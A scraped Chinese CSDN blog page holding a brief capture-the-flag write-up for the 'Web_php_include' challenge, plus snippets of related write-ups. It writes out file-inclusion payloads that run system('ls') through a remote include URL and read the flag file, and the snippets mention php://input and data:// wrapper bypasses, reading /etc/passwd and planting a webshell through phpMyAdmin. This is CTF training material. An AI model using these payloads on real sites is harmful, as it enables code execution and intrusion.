web_php_include

最新推荐文章于 2022-02-10 10:15:04 发布
最新推荐文章于 2022-02-10 10:15:04 发布
阅读量286 收藏
点赞数 1
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/uihijio/article/details/106210085
版权

在这里插入图片描述审查源码之后发现当page=hello这条语句为真的时候，就可以执行文件包含
然后可以构造语句
?page=http://124.126.19.106:43971/index.php?hello=<?system('ls');?>
来查看有哪些文件
在这里插入图片描述直接构造语句查看flag
?page=http://124.126.19.106:43971/index.php?hello=<?show_source('fl4gisisish3r3.php');?>
在这里插入图片描述

uihijio
关注
攻防世界(web篇)---Web_php_include
飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘
06-07 3708
hello传值 phpmyadmin写马 phpmyadmin变量secure_file_priv值为空，说明可以写入一句话木马 传🐎成功 测试🐎php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行利用该方法，我们可以直接写入php文件，输入file=php://input，然后使用burp抓包，写入php代码： file://协议 用于访问本地文件系统，不受allow_url_fopen与allow_url_include的影响即file:// [文..
【网络安全 | CTF】攻防世界 Web_php_include【php伪协议|data伪协议|file伪协议】
热门推荐
等风来
05-22 1万+
是 PHP 语言中一个重要的文件包含机制，可以将一个 PHP 文件包含到另一个 PHP 脚本文件中。该机制通常用于代码复用和模块化开发，在不同的 PHP 文件之间实现函数和类等代码的共享。file 伪协议用于访问本地文件系统中的文件，可以在 web 页面中链接到本地文件，或者读取本地文件中的数据。PHP 伪协议是一种特殊的 URI 协议，可以绕过通常的协议限制，直接访问本地文件和执行 PHP 代码。函数，该函数返回当前工作目录的绝对路径。函数，该函数返回当前执行的 PHP 脚本所在位置的绝对路径。
Web_php_include
weixin_43906500的博客
01-31 273
攻防世界习题 可知为php文件包含类型题目，通过构造page参数实现文件包含，执行命令，获取flag 考虑使用两种方法：1.使用php大小写绕过；2.使用data伪协议绕过 1.使用php大小写绕过 1.1基础知识 1.1.1strstr() 函数 搜索字符串在另一字符串中是否存在，如果是，返回该字符串及剩余部分，否则返回 FALSE。 注释：该函数是二进制安全的。 注释：该函数是区分大小写的。如需进行不区分大小写的搜索，请使用 stristr() 函数。 语法 strstr(str
Web_php_include总结五种解法大同小异
yingyugo的博客
11-18 3470
Web_php_include解题详解 ————一念既出，万山无阻 分析——解题——总结 1.分析 代码不长，咱们慢慢分析 第一句是语法高亮，show_source() 函数对文件进行语法高亮显示。 本函数是 highlight_file() 的别名。 第二句是get 传给hello参数这里可以构造payload： /?hel
【攻防世界】四、Web_php_include
Hi~ 土拨鼠
01-20 507
步骤 打开所给的实验环境，发现给出代码，分析代码可知是文件包含漏洞： 其中含有两个参数： hello参数中的内容会被输出到页面 page参数中的内容则会被进行文件包含，但是会对php://进行过滤 两个函数： strstr(string,search[,before_search])：strstr() 函数搜索字符串（search）在另一字符串（string）中是否存在，如果是，返回该字符串及剩余部分，否则返回 FALSE。区分大小写，stristr()函数不区分大小写。 string：必需。规定.
攻防世界：WEB——Web_php_include
Zeker62的博客
08-16 506
借鉴了别人的博客：https://www.cnblogs.com/xhds/p/12218471.html但是还是要自己总结一下 源代码是这样的 <?php show_source(__FILE__); echo $_GET['hello']; $page=$_GET['page']; while (strstr($page, "php://")) { $page=str_replace("php://", "", $page); } include($page); ?> 这里有几个函
ctf-攻防世界-web：Web_php_include
一只菜鸟的博客
11-21 6015
先看题目标题，php_include，猜测为文件包含漏洞。 打开环境，看到这样一段代码：
攻防世界XCTF：Web_php_include
末初的CSDN博客
03-13 889
这里需要绕过strstr()函数查找字符，使用php伪协议，不然会被替换为空。 针对strstr()函数对大小写敏感，绕过使用php://input流 也就是说，如果使用php://input 我们传入的数据就能相当于以post包的形式，传入php变量执行。 Cat fl4gisisish3r3.php查看内容 ...
XCTF-WEB-Web_php_include
Lorezon的博客
03-15 695
打开题目出现源码： <?php show_source(__FILE__); echo $_GET['hello']; $page=$_GET['page']; while (strstr($page, "php://")) { $page=str_replace("php://", "", $page); } include($page); ?> str函数对大小写敏感，考...
XCTF 的Web_php_include
小白渣的博客
10-29 6031
首先打开题目看到一串源码，对它进行审计 得到一个变量page 百度了一下strstr函数发现它对大小写十分敏感，所以我们可以用大写来进行绕过，这里简单普及一下这个函数的用法， strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。如果是，则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串；否则，返回NULL。 ...
攻防世界-web Web_php_include
m0_48108919的博客
02-10 1349
根据题目这题应该要用到php文件包含 分析代码： strstr() 函数用法：搜索字符串在另一字符串中是否存在，如果是，返回该字符串及剩余部分，否则返回 FALSE（该函数是区分大小写的） //例如： echo strstr("Hello world!","world"); // 输出 world! str_replace() 函数用法：替换字符串中的一些字符（区分大小写） //例如： echo str_replace("world","Peter","Hello world!"); //输出Hell
攻防世界 Web_php_include(include)
Haowill的博客
04-15 1035
Web_php_include 一拿到这道题目看到include，我觉得像是一道文件包含漏洞的题目，这种漏洞一般做法有两种 1.包含的文件在本地上传一个webshell去，该webshell在本地，运行webshell就可以用菜刀去连上 2.如果包含的文件不本地，是远程的网上的文件，那么我们可以黑它远程的那个文件。这样也可以getshell。 拿到题目 很有意思这个题目给的是源代码。 <?...
攻防世界—— Web_php_include
weixin_45960266的博客
02-18 271
攻防世界—— Web_php_include 题目 解题 先读一下代码 1、获取一个hello 没啥用，后面也没有用到 2、page被包含了，这里page由地址栏动态获取 3、strstr函数，用于检验一个字符串是否出现过 4、str_place 字符串的替换 首先，查看源代码，没什么东西 因为是显而易见的文件包含，所以用filter全部转换看一下（这一步其实错了，因为已经可以看到源代码了，所以这一步没用且多余） 我还去解码了一下，啥用也没 又用input执行了命令 这里可以得到 all
攻防世界-Web-Web_php_include
uh_eng的博客
08-05 376
0x01 打开题目，代码如下： <?php show_source(__FILE__); echo $_GET['hello']; $page=$_GET['page']; while (strstr($page, "php://")) { $page=str_replace("php://", "", $page); } include($page); ?> 构造payload简单验证一下是不是文件包含： ?hello=xxx&page=/etc/passwd 结果如下:
ctf Web_php_include
最新发布
08-28
CTF（Capture The Flag）是一...请注意，在实际应用开发中，要避免 PHP 文件包含漏洞，可以使用安全的文件包含函数（如 require_once 或 include_once）、限制包含路径、以及对用户输入进行严格过滤和验证等安全措施。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值